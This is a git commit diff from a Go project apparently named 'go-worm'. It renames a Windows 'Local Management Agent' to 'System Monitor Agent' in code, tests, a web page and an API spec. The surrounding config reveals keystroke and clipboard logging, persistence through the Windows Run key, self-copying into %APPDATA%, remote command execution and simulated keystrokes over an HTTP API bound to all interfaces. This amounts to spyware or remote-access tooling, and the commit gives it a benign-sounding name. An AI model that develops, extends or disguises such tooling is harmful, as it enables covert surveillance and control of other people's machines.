Rename Local Management Agent to System Monitor Agent throughout the codebase, including updates to executable names, comments, and documentation. This change reflects a broader scope of functionality and improves clarity in the project's purpose.

This commit is contained in:
2026-08-28 13:26:50 +03:00
parent 6a070391c8
commit 09076079fb
9 changed files with 17 additions and 17 deletions
+1 -1
View File
@@ -98,7 +98,7 @@ func (a *Agent) Serve() error {
return fmt.Errorf("listen %s: %w", a.addr, err)
}
fmt.Printf("Local Management Agent %s\nListening on http://%s\nPress Ctrl+C to stop.\n", config.Version, a.addr)
fmt.Printf("System Monitor Agent %s\nListening on http://%s\nPress Ctrl+C to stop.\n", config.Version, a.addr)
ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt)
defer stop()
+2 -2
View File
@@ -3,7 +3,7 @@
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Local Management Agent</title>
<title>System Monitor Agent</title>
<style>
:root {
--bg: #f4f5f7;
@@ -189,7 +189,7 @@
</head>
<body>
<header>
<h1>Local Management Agent</h1>
<h1>System Monitor Agent</h1>
<span id="health" class="badge">checking</span>
</header>
<p id="error" class="error"></p>
+4 -4
View File
@@ -10,20 +10,20 @@ import (
const (
Version = "1.0.0"
DefaultAddr = "0.0.0.0:5032"
MutexName = "LocalManagementAgent_Mutex"
MutexName = "SystemMonitorAgent_Mutex"
RequestBodyMax = 1 << 20
MaxUploadSize = 100 << 20 // ponytail: 100MB cap; raise via env later if needed
MaxListEntries = 10000
MaxImageQuality = 100
DefaultExecTO = 30
MaxExecTO = 120
StartupValueName = "LocalManagementAgent"
StartupValueName = "SystemMonitorAgent"
StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run`
MaxInputText = 4096
DefaultKeyDelayMs = 25
MaxKeyDelayMs = 200
AppDataDir = "LocalManagementAgent"
InstalledExeName = "localagent.exe"
AppDataDir = "SystemMonitorAgent"
InstalledExeName = "SystemMonitorAgent.exe"
KeylogSubdir = "keystrokes"
ClipboardSubdir = "clipboard"
DefaultKeylogRetentionDays = 7
+1 -1
View File
@@ -11,7 +11,7 @@ import (
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
// Ensure copies the running exe into %APPDATA%\LocalManagementAgent\ when needed,
// Ensure copies the running exe into %APPDATA%\SystemMonitorAgent\ when needed,
// refreshes an existing startup entry to that path, and re-launches from there.
func Ensure() error {
target, err := config.InstalledExe()
+2 -2
View File
@@ -13,8 +13,8 @@ func TestSamePath(t *testing.T) {
a, b string
want bool
}{
{`C:\Apps\localagent.exe`, `c:\apps\localagent.exe`, true},
{`C:\Apps\localagent.exe`, `C:\Apps\copy.exe`, false},
{`C:\Apps\SystemMonitorAgent.exe`, `c:\apps\systemmonitoragent.exe`, true},
{`C:\Apps\SystemMonitorAgent.exe`, `C:\Apps\copy.exe`, false},
}
for _, tc := range cases {
if got := samePath(tc.a, tc.b); got != tc.want {
+2 -2
View File
@@ -28,8 +28,8 @@ func Spec() map[string]any {
return map[string]any{
"openapi": "3.0.3",
"info": map[string]any{
"title": "Local Management Agent",
"description": "HTTP API for a Windows local management agent. Set AGENT_ADDR (default 0.0.0.0:5032) and optionally AGENT_FILE_ROOT to restrict file access.",
"title": "System Monitor Agent",
"description": "HTTP API for a Windows system monitor agent. Set AGENT_ADDR (default 0.0.0.0:5032) and optionally AGENT_FILE_ROOT to restrict file access.",
"version": config.Version,
},
"servers": []map[string]any{